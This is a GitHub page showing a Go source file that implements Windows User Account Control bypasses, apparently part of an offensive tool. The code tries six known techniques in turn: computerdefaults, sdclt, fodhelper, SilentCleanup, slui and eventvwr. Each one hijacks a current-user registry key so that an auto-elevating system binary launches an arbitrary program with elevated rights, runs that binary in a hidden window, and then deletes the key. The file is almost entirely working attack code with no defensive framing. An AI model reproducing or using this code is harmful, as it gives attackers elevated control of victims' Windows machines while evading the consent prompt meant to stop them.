-
Notifications
You must be signed in to change notification settings - Fork 8
/
escalate_windows.go
267 lines (234 loc) · 5.48 KB
/
escalate_windows.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
package escalate
import (
"errors"
"log"
"os/exec"
"syscall"
"time"
"golang.org/x/sys/windows/registry"
)
// Uacbypass bypasses User Account Control of Windows and escaletes
// privileges to root if User has root privileges
func Escalate(path string) (err error) {
log.Println("Path for bypass: (", path, ")")
version, err := GetVer()
if err != nil {
return
}
if version == 10 {
if computerdefaults(path) == nil {
log.Println("computerdefaults")
return
}
if sdcltcontrol(path) == nil {
log.Println("sdcltcontrol")
return
}
if fodhelper(path) == nil {
log.Println("fodhelper")
return
}
}
if version > 9 {
if silentCleanUp(path) == nil {
log.Println("silentCleanUp")
return
}
if slui(path) == nil {
log.Println("slui")
return
}
}
if version < 10 {
if eventvwr(path) == nil {
log.Println("eventvwr")
return
}
}
return errors.New("uac bypass failed")
}
//// TODO: cleanup Exploits
// eventvwr works on 7, 8, 8.1 fixed in win 10
func eventvwr(path string) (err error) {
log.Println("eventvwr")
key, _, err := registry.CreateKey(
registry.CURRENT_USER, `Software\Classes\mscfile\shell\open\command`,
registry.SET_VALUE|registry.ALL_ACCESS)
if err != nil {
return
}
err = key.SetStringValue("", path)
if err != nil {
return
}
err = key.Close()
if err != nil {
return
}
time.Sleep(2 * time.Second)
var cmd = exec.Command("eventvwr.exe")
err = cmd.Run()
if err != nil {
return
}
time.Sleep(5 * time.Second)
registry.DeleteKey(registry.CURRENT_USER, `Software\Classes\mscfile`)
return
}
// sdcltcontrol works on Win 10
func sdcltcontrol(path string) error {
log.Println("sdcltcontrol")
var cmd *exec.Cmd
key, _, err := registry.CreateKey(
registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe`,
registry.SET_VALUE)
if err != nil {
return err
}
if err := key.SetStringValue("", path); err != nil {
return err
}
if err := key.Close(); err != nil {
return err
}
time.Sleep(2 * time.Second)
cmd = exec.Command("cmd", "/C", "start sdclt.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
_, err = cmd.Output()
if err != nil {
return err
}
time.Sleep(5 * time.Second)
err = registry.DeleteKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe`)
if err != nil {
return err
}
return nil
}
// silentCleanUp works on Win 8.1, 10(patched on some Versions) even on UAC_ALWAYSnotify
func silentCleanUp(path string) (err error) {
log.Println("silentCleanUp")
key, _, err := registry.CreateKey(
registry.CURRENT_USER, `Environment`,
registry.SET_VALUE)
if err != nil {
return
}
err = key.SetStringValue("windir", path)
if err != nil {
return
}
err = key.Close()
if err != nil {
return
}
time.Sleep(2 * time.Second)
var cmd = exec.Command("cmd", "/C", "schtasks /Run /TN \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
_, err = cmd.Output()
if err != nil {
return
}
delkey, _ := registry.OpenKey(
registry.CURRENT_USER, `Environment`,
registry.SET_VALUE)
delkey.DeleteValue("windir")
delkey.Close()
return
}
// computerdefaults works on Win 10 is more reliable than fodhelper
func computerdefaults(path string) (err error) {
log.Println("computerdefaults")
key, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Classes\ms-settings\shell\open\command`, registry.QUERY_VALUE|registry.SET_VALUE)
if err != nil {
return
}
err = key.SetStringValue("", path)
if err != nil {
return
}
err = key.SetStringValue("DelegateExecute", "")
if err != nil {
return
}
err = key.Close()
if err != nil {
return
}
time.Sleep(2 * time.Second)
var cmd = exec.Command("cmd", "/C", "start computerdefaults.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
_, err = cmd.Output()
if err != nil {
return
}
time.Sleep(5 * time.Second)
registry.DeleteKey(registry.CURRENT_USER, `Software\Classes\ms-settings`)
return
}
// fodhelper works on 10 but computerdefaults is more reliable
func fodhelper(path string) (err error) {
log.Println("fodhelper")
key, _, err := registry.CreateKey(
registry.CURRENT_USER, `Software\Classes\ms-settings\shell\open\command`,
registry.SET_VALUE)
if err != nil {
return
}
err = key.SetStringValue("", path)
if err != nil {
return
}
err = key.SetStringValue("DelegeteExecute", "")
if err != nil {
return
}
err = key.Close()
if err != nil {
return
}
time.Sleep(2 * time.Second)
var cmd = exec.Command("start fodhelper.exe")
err = cmd.Run()
if err != nil {
return
}
time.Sleep(5 * time.Second)
err = registry.DeleteKey(registry.CURRENT_USER, `Software\Classes\ms-settings\shell\open\command`)
if err != nil {
return
}
registry.DeleteKey(registry.CURRENT_USER, `Software\Classes\ms-settings`)
return
}
// slui works on Win 8.1, 10
func slui(path string) (err error) {
log.Println("slui")
key, _, err := registry.CreateKey(
registry.CURRENT_USER, `Software\Classes\exefile\shell\open\command`,
registry.SET_VALUE|registry.ALL_ACCESS)
if err != nil {
return
}
err = key.SetStringValue("", path)
if err != nil {
return
}
err = key.SetStringValue("DelegateExecute", "")
if err != nil {
return
}
err = key.Close()
if err != nil {
return
}
time.Sleep(2 * time.Second)
var cmd = exec.Command("slui.exe")
err = cmd.Run()
if err != nil {
return
}
time.Sleep(5 * time.Second)
registry.DeleteKey(registry.CURRENT_USER, `Software\Classes\exefile\`)
return
}